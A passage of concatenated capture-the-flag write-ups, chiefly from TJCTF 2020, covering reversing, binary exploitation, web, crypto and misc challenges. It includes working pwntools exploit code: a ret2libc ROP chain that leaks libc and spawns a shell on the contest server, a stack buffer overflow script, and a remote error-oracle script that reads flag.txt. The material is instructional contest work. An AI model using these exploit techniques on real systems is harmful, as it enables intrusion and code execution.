```(gdb) disas label2Dump of assembler code for function label2: 0x0000000000401104 <+0>: cmpb $0x0,(%rax) 0x0000000000401107 <+3>: jne 0x4010fe <label1> 0x0000000000401109 <+5>: movabs $0x360c1f0605360c1e,%rax 0x0000000000401113 <+15>: cmp %rax,-0x50(%rbp) 0x0000000000401117 <+19>: jne 0x401188 <label5> 0x0000000000401119 <+21>: movabs $0xc0c10361b041a08,%rax 0x0000000000401123 <+31>: cmp %rax,-0x48(%rbp) 0x0000000000401127 <+35>: jne 0x401188 <label5> 0x0000000000401129 <+37>: movabs $0x402000,%rdi 0x0000000000401133 <+47>: lea -0x50(%rbp),%rax 0x0000000000401137 <+51>: mov $0x0,%ebx 0x000000000040113c <+56>: mov $0x0,%ecx 0x0000000000401141 <+61>: mov $0x0,%edx 0x0000000000401146 <+66>: jmp 0x401163 <label4>End of assembler dump.(gdb) b *label2+5Breakpoint 2 at 0x401109...Breakpoint 2, 0x0000000000401109 in label2 ()(gdb) x/100s $rbp-0x500x7fffffffe160: "(+*-,/.! #\"%$'&9"```
Would you look at that! That's exactly right! It is an XOR with 0x69 with each character in the password! We can even test this in python:
```python>>> chr(ord('A')^0x69)'('>>> chr(ord('B')^0x69)'+'>>>```We have that down, what's next?
```mov rax, 0x360c1f0605360c1e ## It looks like a string comparisoncmp QWORD [rbp-0x50], raxjne label5mov rax, 0x0c0c10361b041a08 ## let's use python to decode the password!cmp QWORD [rbp-0x48], raxjne label5```
On my first attempt making the script, the password was both backwards and the two parts were swapped.
```pythonencP = ["0x360c1f0605360c1e", "0x0c0c10361b041a08"] ## encoded passwordpassword = ''
for i in range(len(encP)): encP[i] = bytes.fromhex(encP[i][2:]) for char in encP[i]: password += chr(char ^ 0x69) ## bitwise xor with 0x69
print(password)```
```$ py sol.py_evol_eweey_rmsa```
I knew I was close. But after I realized it was backwards and swapped, it was pretty simple to fix:
```pythonencP = ["0x0c0c10361b041a08", "0x360c1f0605360c1e"] ## encoded passwordpassword = ''
for i in range(len(encP)): encP[i] = bytes.fromhex(encP[i][2:]) for char in encP[i]: password = chr(char ^ 0x69) + password ## bitwise xor with 0x69
print(password)```
```$ py sol.pywe_love_asmr_yee```
```jordan@notyourcomputer:~$ nc 0.0.0.0 1337Enter password: we_love_asmr_yeeI really appreciate everyone still playing TJCTF. It really means a lot to me. I know this year hasn't been the greatest, and that a lot of what we've done as a team has made people upset. I really wish it didn't have to be this way, but what's done is done.
Here's your flag: tjctf{s0m3_n1c3_s0und5_for_you!!!}
<3 -DM```
When you input the password, the program prints out the message and the flag! Very cool!
Flag: `tjctf{s0m3_n1c3_s0und5_for_you!!!}` |
# TJCTF 2020
## Cookie Library
> 90>> My friend loves [cookies](cookie). In fact, she loves them so much her favorite cookie changes all the time. She said there's no reward for guessing her favorite cookie, but I still think she's hiding something.> > `nc p1.tjctf.org 8010`>> Written by KyleForkBomb
Tags: _pwn_ _x86-64_ _bof_ _remote-shell_ _rop_ _libc_
## Summary
Leak libc address and version, return to `main` for a second exploit, get a shell, get the flag.
> This is annoyingly similar to [stop](../stop/README.md), so _stop_ and read that.
## Analysis
### Checksec
``` Arch: amd64-64-little RELRO: Full RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)```
Some mitigations. !GOT. No shellcode. But, we have ROPtions (no PIE). Stack left wide open, too.
> Yes, annoyingly old jokes too.
### Decompile with Ghidra

With the name of the challenge _cookie_ and `srand` right there at the top I thought this was going to be a homebrew canary, or at least a conditional based on a predictable PRNG. Given how this is pretty much the same as [stop](../stop/README.md), but for more points, it makes me wonder if someone messed up.
Anyway, line 22, our old friend `gets` will get the job done. No loop, so again, return to main.
`local_58` is `0x58` bytes above the return address:
``` undefined8 RAX:8 <RETURN> undefined4 Stack[-0xc]:4 local_c undefined1 Stack[-0x58]:1 local_58```
Both attacks will write out `0x58` bytes to get to the return address.
## Exploit
### Attack Plan
1. Leak libc address and version and return to main2. Get a shell, get the flag
### Leak libc address and version and return to main
```python#!/usr/bin/python3
from pwn import *
#p = process('./cookie')#libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')p = remote('p1.tjctf.org', 8010)libc = ELF('libc-database/db/libc6_2.27-3ubuntu1_amd64.so')
binary = ELF('./cookie')
context.clear(arch='amd64')rop = ROP('cookie')try: pop_rdi = rop.find_gadget(['pop rdi','ret'])[0]except: print("no ROP for you!") sys.exit(1)
p.recvuntil('Which is the most tasty?\n')
payload = b''payload += 0x58 * b'A'payload += p64(pop_rdi)payload += p64(binary.got['puts'])payload += p64(binary.plt['puts'])payload += p64(binary.symbols['main'])
p.sendline(payload)p.recvline()_ = p.recv(6)```
Since there's no PIE we do not need to worry about leaking the base process address. All we need is a `pop rdi` gadget and have `puts` emit its own address.
After sending `0x58` bytes to get to the return address, we just pop the address of `puts` from the GOT, then call `puts` to emit it, and then return to main for a second run.
With the `puts` address leaked (`_ = p.recv(6)`) we can search for the version using the [libc-database](https://github.com/niklasb/libc-database) `find` command with the last three nibbles of the `puts` address:
```# libc-database/find puts 0x9c0 | grep -v 386http://ftp.osuosl.org/pub/ubuntu/pool/main/g/glibc/libc6_2.27-3ubuntu1_amd64.deb (id libc6_2.27-3ubuntu1_amd64)```
Then rerun with:
```libc = ELF('libc-database/db/libc6_2.27-3ubuntu1_amd64.so')```
to then leak the base address of libc:
```puts = u64(_ + 2*b'\x00')print('puts:',hex(puts))baselibc = puts - libc.symbols['puts']print('baselibc:',hex(baselibc))```
> You'll know you got this right if the last three digits of the libc address is all zeros. See output below.
### Get a shell, get the flag
```pythonp.recvuntil('Which is the most tasty?\n')
payload = b''payload += 0x58 * b'A'payload += p64(pop_rdi + 1)payload += p64(pop_rdi)payload += p64(baselibc + next(libc.search(b"/bin/sh")))payload += p64(baselibc + libc.symbols['system'])
p.sendline(payload)p.interactive()```
> The extra `ret` (`payload += p64(pop_rdi + 1)`) is required to align the stack, see [Blind Piloting](https://github.com/datajerk/ctf-write-ups/blob/master/b01lersctf2020/blind-piloting/README.md) for a lengthly example and explanation.
For the second pass, align the stack, pop the address of the string `/bin/sh` from libc, and then _return_ to `system` to get a shell:
```# ./exploit.py[+] Opening connection to p1.tjctf.org on port 8010: Done[*] '/pwd/datajerk/tjctf2020/cookie/libc-database/db/libc6_2.27-3ubuntu1_amd64.so' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled[*] '/pwd/datajerk/tjctf2020/cookie/cookie' Arch: amd64-64-little RELRO: Full RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)[*] Loaded 14 cached gadgets for 'cookie'puts: 0x7f6b52bfe9c0baselibc: 0x7f6b52b7e000[*] Switching to interactive modeI'm sorry but we can't be friends anymore$ cat flag.txttjctf{c00ki3_yum_yum_mmMmMMmMMmmMm}``` |
# Containment Forever
> Hello, welcome on "Containment Forever"! There are 2 categories of posts, only the first is available, get access to the posts on the flag category to retrieve the flag.> > containment-forever.sharkyctf.xyz
## Description
Let's connect to the website.

As announced in the description, there are two types of posts: `Confinement` and `Flag`. Each post is characterized by five pieces of information:- an ObjectId- an url (in the `Details` column)- an author- a name- a timestamp
We see that the id and url of the flag posts are hidden. Moreover, the url of a post with some id is `http://containment-forever.sharkyctf.xyz/item/{the id}`.
So the challenge is to understand how the id is created and deduce the flag posts ids.
## Solution
I guessed the timestamp would be included in the id, so I went to a [timestamp converter](https://www.unixtimestamp.com/index.php) and converted the dates of the confinement posts. Bingo, the first 8 characters correspond to the timestamp hex encoded.
Then we have a constant string `d7b1600013655bb`, and only the last character changes. Here I overthought it. I believed this constant string would be some hash of `confinement` and consequently I was expecting to find another constant string for `flag`. Actually... just inputting the same constant string works.
The last character I just bruteforced manually (only 16 possibilities).

Flag: `shkCTF{IDOR_IS_ALS0_P0SSIBLE_W1TH_CUST0M_ID!_f878b1c38e20617a8fbd20d97524a515}` |
# Tinder

We are given an [ELF 32-bit binary](match). Let's perform a buffer overflow.
I decompiled the binary in [ghidra](https://ghidra-sre.org/) to see what it does.
```cint input(char *str,float f){ size_t sVar1; char *pcVar2;
fgets(str,(int)ROUND(f * 16.00000000),stdin); sVar1 = strlen(str); if (1 < sVar1) { pcVar2 = strchr(str,10); if (pcVar2 == (char *)0x0) { do { str = (char *)fgetc(stdin); } while (str != (char *)0xa); } else { sVar1 = strlen(str); str = str + (sVar1 - 1); *str = '\0'; } return (int)str; } puts("No input detected. Registration failed."); /* WARNING: Subroutine does not return */ exit(0);}
int main(void){ char local_a8 [32]; char local_88 [64]; char local_48 [16]; char local_38 [16]; char local_28 [16]; FILE *local_18; int local_14; undefined *local_10;
local_10 = &stack0x00000004; local_14 = 0; setup(); puts("Welcome to TJTinder, please register to start matching!"); printf("Name: "); input(local_28,1.00000000); printf("Username: "); input(local_38,1.00000000); printf("Password: "); input(local_48,1.00000000); printf("Tinder Bio: "); input(local_88,8.00000000); putchar(10); if (local_14 == -0x3f2c2ff3) { printf("Registered \'%s\' to TJTinder successfully!\n",local_38); puts("Searching for matches..."); sleep(3); puts("It\'s a match!"); local_18 = fopen("flag.txt","r"); if (local_18 == (FILE *)0x0) { puts("Flag File is Missing. Contact a moderator if running on server."); /* WARNING: Subroutine does not return */ exit(0); } fgets(local_a8,0x20,local_18); printf("Here is your flag: %s",local_a8); } else { printf("Registered \'%s\' to TJTinder successfully!\n",local_38); puts("Searching for matches..."); sleep(3); puts("Sorry, no matches found. Try Again!"); } return 0;}```
The executable asks for four inputs, Name, Username, Password, and Tinder Bio. It then checks if `local_14` is equal to `0xc0d3d00d`. If it is, it prints the flag.
I made a python script to overwrite local_14 with `0xc0d3d00d`. I decided to use the final input for whatever reason. I overwrote all the other string buffers and the file pointer with passing to get to `local_14`. Then, all that's left is to overwrite `local_14` with `0xc0d3d00d`.
```pythonfor i in range(3): r.send(b'a\n')
filler = b'B9alaLbY4e2rTxuWlzHbzvk7K8bKD08bpJrNsivp1AxxTcz9lCCiN3TFMLjH09rcQe5RQfp0CynfYbfZIiKjutBC7R0fkkcd5a2t0XhsBt2d7BxNN6qT'
r.send(filler)r.send(p32(0xc0d3d00d))r.send(b'\n')
r.interactive()```
I got the filler data by using an online random string generator and then finding the end of the padding using gdb, but you can easily just count the bytes.
```cchar local_88 [64];char local_48 [16];char local_38 [16];char local_28 [16];FILE *local_18;int local_14;```
```pythonfiller = b'A' * (64 + 16 + 16 + 16 + 4)```
Now that I think about it, that may have been smarter.
```$ py sol.py rem[+] Opening connection to p1.tjctf.org on port 8002: Done[*] Switching to interactive modeWelcome to TJTinder, please register to start matching!Name: Username: Password: Tinder Bio:Registered 'IiKjutBC7R0fkkcd5a2t0XhsBt2d7BxNN6qT\xd0\xd3\xc0' to TJTinder successfully!Searching for matches...It's a match!Here is your flag: tjctf{0v3rfl0w_0f_m4tch35}```
Flag: `tjctf{0v3rfl0w_0f_m4tch35}` |
# Simple
## DescriptionA really simple crackme to get started ;) Your goal is to find the correct input so that the program return 1. The correct input will be the flag.
Creator : Nofix
## What are we dealing with?
There was a single .asm file provided. Download the asm file:
```kali@kali:~/Downloads/simple$ cat main.asm BITS 64
SECTION .rodata some_array db 10,2,30,15,3,7,4,2,1,24,5,11,24,4,14,13,5,6,19,20,23,9,10,2,30,15,3,7,4,2,1,24 the_second_array db 0x57,0x40,0xa3,0x78,0x7d,0x67,0x55,0x40,0x1e,0xae,0x5b,0x11,0x5d,0x40,0xaa,0x17,0x58,0x4f,0x7e,0x4d,0x4e,0x42,0x5d,0x51,0x57,0x5f,0x5f,0x12,0x1d,0x5a,0x4f,0xbf len_second_array equ $ - the_second_arraySECTION .text GLOBAL main
main: mov rdx, [rsp] cmp rdx, 2 jne exit mov rsi, [rsp+0x10] mov rdx, rsi mov rcx, 0l1: cmp byte [rdx], 0 je follow_the_label inc rcx inc rdx jmp l1follow_the_label: mov al, byte [rsi+rcx-1] mov rdi, some_array mov rdi, [rdi+rcx-1] add al, dil xor rax, 42 mov r10, the_second_array add r10, rcx dec r10 cmp al, byte [r10] jne exit dec rcx cmp rcx, 0 jne follow_the_labelwin: mov rdi, 1 mov rax, 60 syscallexit: mov rdi, 0 mov rax, 60 syscall```
Assemble, link, and run:
```kali@kali:~/Downloads/simple$ nasm -f elf64 main.asm kali@kali:~/Downloads/simple$ lsmain.asm main.okali@kali:~/Downloads/simple$ ld -s -o main main.old: warning: cannot find entry symbol _start; defaulting to 0000000000401000kali@kali:~/Downloads/simple$ file mainmain: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, strippedkali@kali:~/Downloads/simple$ ./main kali@kali:~/Downloads/simple$ echo $?0```
## Analysis
The assembly code is quite small, but the decompiled C code still might help our understanding:
```cvoid entry(void){ long lVar1; char *pcVar2; long local_res0; char *param_8; if (local_res0 == 2) { lVar1 = 0; pcVar2 = param_8; while (*pcVar2 != '\0') { lVar1 = lVar1 + 1; pcVar2 = pcVar2 + 1; } do { if ((byte)(param_8[lVar1 + -1] + (char)*(undefined8 *)(&DAT_00401fff + lVar1) ^ 0x2aU) != (&DAT_0040201f)[lVar1]) goto LAB_00401068; lVar1 = lVar1 + -1; } while (lVar1 != 0); syscall(); }LAB_00401068: syscall(); /* WARNING: Bad instruction - Truncating control flow here */ halt_baddata();}```
The first check is the number of arguments (argc). This would be the name of the executable and an input string:
```c if (local_res0 == 2) {```
```main: mov rdx, [rsp] cmp rdx, 2 jne exit```
The first loop is calculating the length of the input string:
```c lVar1 = 0; pcVar2 = param_8; while (*pcVar2 != '\0') { lVar1 = lVar1 + 1; pcVar2 = pcVar2 + 1; }```
```l1: cmp byte [rdx], 0 je follow_the_label inc rcx inc rdx jmp l1```
The second loop interates over the string BACKWARDS. It starts at the last character and stops at the first character.
```c do { if ((byte)(param_8[lVar1 + -1] + (char)*(undefined8 *)(&DAT_00401fff + lVar1) ^ 0x2aU) != (&DAT_0040201f)[lVar1]) goto LAB_00401068; lVar1 = lVar1 + -1; } while (lVar1 != 0);```
```follow_the_label: mov al, byte [rsi+rcx-1] mov rdi, some_array mov rdi, [rdi+rcx-1] add al, dil xor rax, 42 mov r10, the_second_array add r10, rcx dec r10 cmp al, byte [r10] jne exit dec rcx cmp rcx, 0 jne follow_the_label```
To simplify, the condition that we want to be TRUE for each iteration is basically this:
```flag[pos - 1] + some_array[pos] ^ 42 == the_second_array[pos]```
The first time we enter that loop, we'll be pointing at the NULL terminator '\0' for the input string, which is why the loop references input[pos - 1].
some_array and the_second_array are exactly 32 bytes each:
``` some_array db 10,2,30,15,3,7,4,2,1,24,5,11,24,4,14,13,5,6,19,20,23,9,10,2,30,15,3,7,4,2,1,24 the_second_array db 0x57,0x40,0xa3,0x78,0x7d,0x67,0x55,0x40,0x1e,0xae,0x5b,0x11,0x5d,0x40,0xaa,0x17,0x58,0x4f,0x7e,0x4d,0x4e,0x42,0x5d,0x51,0x57,0x5f,0x5f,0x12,0x1d,0x5a,0x4f,0xbf```
Which means our input string will be in the format of:
```shkCTF{************************}```
The formula is pretty simple to reverse. To get the flag:
```flag[pos] = (the_second_array[pos] ^ 42) - some_array[pos]```
## Solution
```python#!/bin/env python
some_array=[10,2,30,15,3,7,4,2,1,24,5,11,24,4,14,13,5,6,19,20,23,9,10,2,30,15,3,7,4,2,1,24]the_second_array=[0x57,0x40,0xa3,0x78,0x7d,0x67,0x55,0x40,0x1e,0xae,0x5b,0x11,0x5d,0x40,0xaa,0x17,0x58,0x4f,0x7e,0x4d,0x4e,0x42,0x5d,0x51,0x57,0x5f,0x5f,0x12,0x1d,0x5a,0x4f,0xbf]flag=""
for i in range(0,32): flag += chr((the_second_array[i] ^ 42) - some_array[i])
print(flag)```
```kali@kali:~/Downloads/simple$ ./solve.py shkCTF{h3ll0_fr0m_ASM_my_fr13nd}```
We can verify the flag by passing it back into the binary, and it should return 1.
```kali@kali:~/Downloads/simple$ ./main shkCTF{h3ll0_fr0m_ASM_my_fr13nd}kali@kali:~/Downloads/simple$ echo $?1```
|
first buffer overflow - overwrite nbytes
second buffer overflow - overwrite return address
[read more](http://taqini.space/2020/04/29/hackpackctf2020-pwn-wp/#HackPack-CTF-2020) |
# **TJCTF 2020**
TJCTF is a Capture the Flag (CTF) competition hosted by TJHSST's Computer Security Club. It is an online, jeopardy-style competition targeted at high schoolers interested in Computer Science and Cybersecurity. Participants may compete on a team of up to 5 people, and will solve problems in categories such as Binary Exploitation, Reverse Engineering, Web Exploitation, Forensics, and Cryptography in order to gain points. The eligible teams with the most points will win prizes at the end of the competition.
This is my first writeup of a CTF and the fifth or sixth CTF I participated in,if you have any comments, questions, or found any mistakes (which I'm sure there are a lot of)please let me know. Thanks for reading!
***
# Table of Contents* [Miscellaneous](#Miscellaneous) - [A First Step](#a-first-step) - [Discord](#discord) - [Censorship](#censorship) - [Timed](#timed) - [Truly Terrible Why](#truly-terrible-why) - [Zipped Up](#zipped-up)* [Cryptography](#cryptography) - [Circles](#circles) - [Speedrunner](#speedrunner) - [Tap Dancing](#tap-dancing) - [Typewriter](#typewriter) - [Titanic](#titanic)* [Reversing](#reversing) - [Forwarding](#forwarding)* [Web](#web) - [Broken Button](#broken-button) - [File Viewer](#file-viewer)* [Forensics](#Forensics) - [Ling Ling](#ling-ling) - [Rap God](#rap-god)
***# Miscellaneous
## A First StepEvery journey has to start somewhere -- this one starts here (probably).The first flag is tjctf{so0p3r_d0oper_5ecr3t}. Submit it to get your first points!
**tjctf{so0p3r_d0oper_5ecr3t}**
Flag is in the challenge's description
## DiscordStrife, conflict, friction, hostility, disagreement. Come chat with us! We'll be sending out announcements and other important information, and maybe even a flag!
**tjctf{we_love_wumpus}**
Flag is pinned in the Discord server announcements channel
## CensorshipMy friend has some top-secret government intel. He left a message, but the government censored him! They didn't want the information to be leaked, but can you find out what he was trying to say?
` nc p1.tjctf.org 8003 `
**tjctf{TH3_1llum1n4ti_I5_R3aL}**
This challenge I solved by mistake (there are no mistakes just happy accidents) but the solution issomewhat straightforward, when we connect to the server we are greeted with the following meessege:

When we submit the answer we get following meessege:

Which is not the flag (trust me i checked), when we sumbit a wrong answer we get nothing,my first thought was that the flag returned is random and there is a chance that the real flag will be returned,so I wrote a short python script which connects to the server, reads the question and answers it:
```python 3from pwn import remoteimport re
host = "p1.tjctf.org"port = 8003s = remote(host, port)question = s.recvuntil('\n')numbers = re.findall('[0-9]+',str(question))sum = sum([int(a) for a in numbers])s.send('{}\n'.format(sum))print(s.recv())s.close()```
And during debugging I noticed something strange is happening with the output:

As you can see the server is actually returing us the flag each time we answer correctly.But, We can't see it when the output is printed in the terminal,The reason is that '\r' symbol after the flag, The symbol stands for carriage return,And in most terminal nowdays it deletes the written message and returns the cursor to the start of line,Using this symbol can actually make cool looking animation and most of the animationwe see in terminals nowdays use this symbol.
## TimedI found this cool program that times how long Python commands take to run! Unfortunately, the owner seems very paranoid, so there's not really much that you can test. The flag is located in the file flag.txt on the server.
` nc p1.tjctf.org 8005`
**tjctf{iTs_T1m3_f0r_a_flaggg}**
When we connect to the server we get the following message:

I tried using Unix commands first and quickly discovered by the error messagesthat the commands need to be python commands, furthermore, we can't see the outputof the executed commands but only the time it took for the commands to executeor an error message if an error occurred while executing the commands.I tried using python commands and modules to get a shell or get a reverse shell goingfrom the server to my host.for each command I tried I got the following message:

At this point I gave up on getting a shell and tried to see what I cando in this limited enviroment, I wanted to determine first if the commands areexecuted in python 2 or python 3, for that I checked if python recognizedbasestring, an abstract type which can't be found in python 3 and will raise anexception:


Executing basestring in the server didn't return an error message so I determinedthat the environment is python 2, and so I tried to check if I can read afile named flag.txt using python 2 I/O functions:

We can read flag.txt!, now we need to discover the flag using our onlytwo availiable outputs - the time to execute a command or an error message ifsuch error produces.We can do this by going letter by letter and executing a command that comparesthe selected letter with a letter in the flag such that if the letters match the outputwill be different so we can easily point out the matching letters and build the flag.There are two ways to do this, The first one is to use commands suchthat if the letter matches the execution time will be longer and by doingso the total runtime returned will be grater, This type of attack is calledTiming Attack and an exemple of this is linked in the resources.The second one and the one that I used is to raise an exception if the letter match inthe position such that we can the discovery of the letter is not time bound.for doing that I wrote the following code in python 3 using the pwntools module:
```python 3from pwn import remoteimport string
host = "p1.tjctf.org"port = 8005s = remote(host, port)flag = ""index = 0changed = Trues.recvuntil('!\n')while changed: changed = False for c in '_{}' + string.printable: print("testing {}".format(flag + c)) command = '''1/0 if open('flag.txt','r').read({})[{}] == ''{}' else 0\n'''.format(index + 1, index, c) print(command) s.send(command) answer = s.recvuntil("!\n") if b'Traceback' in answer: flag += c changed = True index += 1 break
```
As you can see, the code connects to the server and builds the flag by iteratingover all the printable characters and checking if the command executed raises anerror or not, the command simply checks if the character in a specific positionmatches the current tested character and if so it calculates 1/0 which in pythonthrow an exception (believe it or not there are langauges and modules where 1/0 returns infinity)else the command does nothing, if an error was raised then the letter is added to the flagand the code moves to iterate over the next character in the flie, if we finished iterating over allthe characters and none of them raised a flag we can conclude that we discovered all theflag, and we can see that the code does just that:

Side note: when writing the writeup I thought about another very easy way to get theflag, We know that we can see errors happening in the execution of commends sowe can just raise an error with the flag !, For that you need you need to use the errortype NameError to raise an error with a string but it is still a much easier and very coolway to get the flag, you can see it in action in the following picture:

**Resources:*** Pwntools : http://docs.pwntools.com* All-Army Cyberstakes! Dumping SQLite Database w/ Timing Attack : https://youtu.be/fZ3mPRctbO0
## Truly Terrible WhyYour friend gave you a remote shell to his computer and challenged you to get in, but something seems a little off... The terminal you have seems almost like it isn't responding to any of the commands you put in! Figure out how to fix the problem and get into his account to find the flag! Note: networking has been disabled on the remote shell that you have. Also, if the problem immediately kicks you off after typing in one command, it is broken. Please let the organizers know if that happens.hint : Think about program I/O on linux
`nc 52.205.246.189 9000`
**tjctf{ptys_sure_are_neat}**
This challenge was very fair in my opinion but it was easy to overcomplicate it(as I admittedly did in the beginning).When you connect to the server you are greeted with the following message:

And for every input we give no output is returned.First I tried doing blind enumaration of the files in the server using similar methods as I used in Timedbut the only true way I found to do that was to disconnect from the server using exitevery time a character match... which quickly led to me being banned from the server andso I stopped and moved to other challenges.In the meantime the challenge was patched and using the exit command no longer worked,And the hint was published.As the hint suggested there is something off about the I/O of the shellsuch that we can't see the output.But, We know that we are connected to the standard input of the shell beacuse we can execute commands.So I tried using output redirection so that the output of the commands will be redirctedto the standard input (file descriptor 0) et voila:

We got a working shell!, From thereon I tried getting an interactive shell using the common methods(listed in resources) and spawned a new shell with the output redirected to standard input:

Now we can now use the shell as (almost) a regular shell, so we can use the arrow keys anduse the sudo command, We can also see now that we are connected as problem-user.Let's see what is written in the text files:

From the message we can assume that we need to connect to other-user, And because we are givenproblem-user password we will probably need to use it for that.The first Thing I do in this situations is to check the user sodu privillages using sudo -l command:

So we run /usr/bin/chguser as root:

And as you can see by doing we connect to other-user and we are dropped at his home folder,And we got our flag.
**Resources:*** Getting fully interactive shell : https://blog.ropnop.com/upgrading-simple-shells-to-fully-interactive-ttys/* Linux Redirection : https://www.guru99.com/linux-redirection.html
## Zipped UpMy friend changed the password of his Minecraft account that I was using so that I would stop being so addicted. Now he wants me to work for the password and sent me this zip file. I tried unzipping the folder, but it just led to another zipped file. Can you find me the password so I can play Minecraft again?
[link](https://static.tjctf.org/663d7cda5bde67bd38a8de1f07fb9fab9dd8dd0b75607bb459c899acb0ace980_0.zip)
**tjctf{p3sky_z1p_f1L35}**
This type of challange is pretty common in CTFs and most of the times it can be summedup to tweaking the code so that it will work with the current challenge,As you can see each compressed file contains a txt and another compressed file in a directory,If you look further you can see that there is a false flag tjctf{n0t_th3_fl4g}in some txt files (actually in all of them but one afaik).So, I wrote (mostly tweaked) a short bash scipt to not only find compressed files in the working directory and unzip them,But also check the content of the txt file and if it's not the false flag print it and stop the execution:
```bash#!/bin/bashget_flag() { for filename in $(pwd)/*; do echo "$filename" if [[ $(mimetype -b "$filename") == "application/zip" ]] then unzip "$filename" find_dir return elif [[ $(mimetype -b "$filename") == "application/x-tar" ]] then tar -xf "$filename" find_dir return elif [[ $(mimetype -b "$filename") == "application/x-bzip-compressed-tar" ]] then tar -xf "$filename" find_dir return elif [[ $(mimetype -b "$filename") == "application/x-compressed-tar" ]] then tar -xf "$filename" find_dir return elif [[ $(mimetype -b "$filename") == "text/plain" ]] then if [[ $(cat "$filename") != "tjctf{n0t_th3_fl4g}" ]] then cat "$filename" return fi fi done}
find_dir(){ for filename in $(pwd)/*; do if [[ -d "$filename" ]] then cd "$filename" get_flag return fi done}echo startget_flag```
And after 829 (!) files unzipped we find the first (and afaik the only) text file that contains the flag.
***# Cryptography
## Circles
**tjctf{B3auT1ful_f0Nt}**
Some typefaces are mysterious, like this one - its origins are an enigma wrapped within a riddle, indeed.
hint : To obtain the flag, you should find the font that was used to encode the message in the picture. If you Google the description of the problem, the first website that pops up seems promising. Using a dictionary to guess/bruteforce words without finding the font will not help you. Each circle in the image represents an alphanumeric character that is part of the flag. The brackets and the underscore in the image are NOT part of the font used to encrypt the flag.

**tjctf{B3auT1ful_f0Nt}**
This challenge was really guessy and quite frustrating, As the hint suggested if we search for the challenge descriptionwe find the site fonts.com and by searching the word circular in it (yeah I know) we find our typeface:

Now that we know the name of the typeface lets find its characters map,By seaching just that I found the typeface character map (linked below) and decoded the flag.
**Resources:*** USF Circular Designs : https://www.fonts.com/font/ultimate-symbol/usf-circular-designs/packages* Character map : https://www.fonts.com/font/ultimate-symbol/usf-circular-designs/regular
## SpeedrunnerI want to make it into the hall of fame -- a top runner in "The History of American Dad Speedrunning". But to do that, I'll need to be faster. I found some weird parts in the American Dad source code. I think it might help me become the best.
[link](https://static.tjctf.org/6e61ec43e56cff1441f4cef46594bf75869a2c66cb47e86699e36577fbc746ff_encoded.txt)
**tjctf{new_tech_new_tech_go_fast_go_fast}**
In the link we get the following ciphertext:
LJW HXD YUNJBN WXC DBN CQN CNAV "FXAUM ANLXAM'? RC'B ENAH VRBUNJMRWP JWM JBBDVNB CQJC CQN ERMNX YXBCNM RB CQN OJBCNBC CRVN, FQNAN RW OJLC BXVNXWN NUBN LXDUM QJEN J OJBCNA, DWANLXAMNM ENABRXW. LXDUM HXD YUNJBN DBN CQN CNAV KTCFENJJJEKVXOBAL (KNBC TWXFW CRVN FRCQ ERMNX NERMNWLN JB JYYAXENM JWM ENARORNM KH VNVKNAB XO CQN BYNNM ADWWRWP LXVVDWRCH) RW CQN ODCDAN. CQRB FXDUM QNUY UXFNA LXWODBRXW RW CQNBN CHYNB XO ERMNXB RW ANPJAM CX CQN NENA DYMJCRWP JWM NEXUERWP WJCDAN XO CQN BYNNMADWWRWP LXVVDWRCH.
CSLCO{WNF_CNLQ_WNF_CNLQ_PX_OJBC_PX_OJBC}
We can notice that the format of the last line somewhat matches the format for the flag so we canassume the cipher is letter substitution, a type of cipher where each letter inthe plaintext is subtituted with another letter, I copied the text to CyberTextand tried to use shift ciphers to decrpyt the message, Shift cipher are a typeof cipher in which every letter is shifted by a known offset to a different letter,ROT13 and Ceaser Cipher are some famous exemple of this type of cipher where theoffsets are 13 and 3 respectably, with an offset of 17 we get the following message:
CAN YOU PLEASE NOT USE THE TERM "WORLD RECORD'? IT'S VERY MISLEADING AND ASSUMES THAT THE VIDEO POSTED IS THE FASTEST TIME, WHERE IN FACT SOMEONE ELSE COULD HAVE A FASTER, UNRECORDED VERSION. COULD YOU PLEASE USE THE TERM BKTWVEAAAVBMOFSRC (BEST KNOWN TIME WITH VIDEO EVIDENCE AS APPROVED AND VERIFIED BY MEMBERS OF THE SPEED RUNNING COMMUNITY) IN THE FUTURE. THIS WOULD HELP LOWER CONFUSION IN THESE TYPES OF VIDEOS IN REGARD TO THE EVER UPDATING AND EVOLVING NATURE OF THE SPEEDRUNNING COMMUNITY.
TJCTF{NEW_TECH_NEW_TECH_GO_FAST_GO_FAST}
**Resources:*** CyberChef : https://gchq.github.io/CyberChef/* Ceaser Cipher : https://en.wikipedia.org/wiki/Caesar_cipher* Substitution Cipher : https://en.wikipedia.org/wiki/Substitution_cipher
## Tap DancingMy friend is trying to teach me to dance, but I am not rhythmically coordinated! They sent me a list of dance moves but they're all numbers! Can you help me figure out what they mean so I can learn the dance?
[link](https://static.tjctf.org/518d6851c71c5482dbd5bbe812b678684238c8f4e9e9b3d95a188f7db83a0870_cipher.txt)
**tjctf{m0rsen0tb4se3}**
In the link we get the following cipher:
1101111102120222020120111110101222022221022202022211
As you can see there are three symbol in this cipher and suspiciously one of them is sparse,So I assumed that this is morse (and honestly it will be weird if there isn't even one morse challenge in a CTF)I assumed that zeros symbolize spaces and the twos and ones are . and - respectably, I got the following morse code:
-- ----- .-. ... . -. ----- - -... ....- ... . ...--
I plugged the morse code into CyberChef and got the flag.
**Resources*** Morse Code (do i really need to add that!?) : https://en.wikipedia.org/wiki/Morse_code
## TypewriterOh no! I thought I typed down the correct flag for this problem on my typewriter, but it came out all jumbled on the paper. Someone must have switched the inner hammers around! According to the paper, the flag is zpezy{ktr_gkqfut_hxkhst_tyukokkgotyt_hoftqhhst_ykxoz_qxilrtxiyf}.
hint:a becomes q, b becomes w, c becomes e, f becomes y, j becomes p, t becomes z, and z becomes m. Do you see the pattern?
**tjctf{red_orange_purple_efgrirroiefe_pineapple_fruit_auhsdeuhfn}**
As the hint suggested this is a qwerty monoalphabetic cipher,Meaning that every letter is subtituted with the corresponding in the keyboard with the same position(from up to down and from left to right).For decrpyting that cipher I used an awesome site called dcode.fr and by using their monoalphabetic decoderwith the key: QWERTYUIOPASDFGHJKLZXCVBNM I got the flag.
**Resources:*** decode.fr : https://www.dcode.fr/en* qwerty : https://en.wikipedia.org/wiki/QWERTY
## TitanicI wrapped tjctf{} around the lowercase version of a word said in the 1997 film "Titanic" and created an MD5 hash of it: 9326ea0931baf5786cde7f280f965ebb.
**tjctf{marlborough's}**
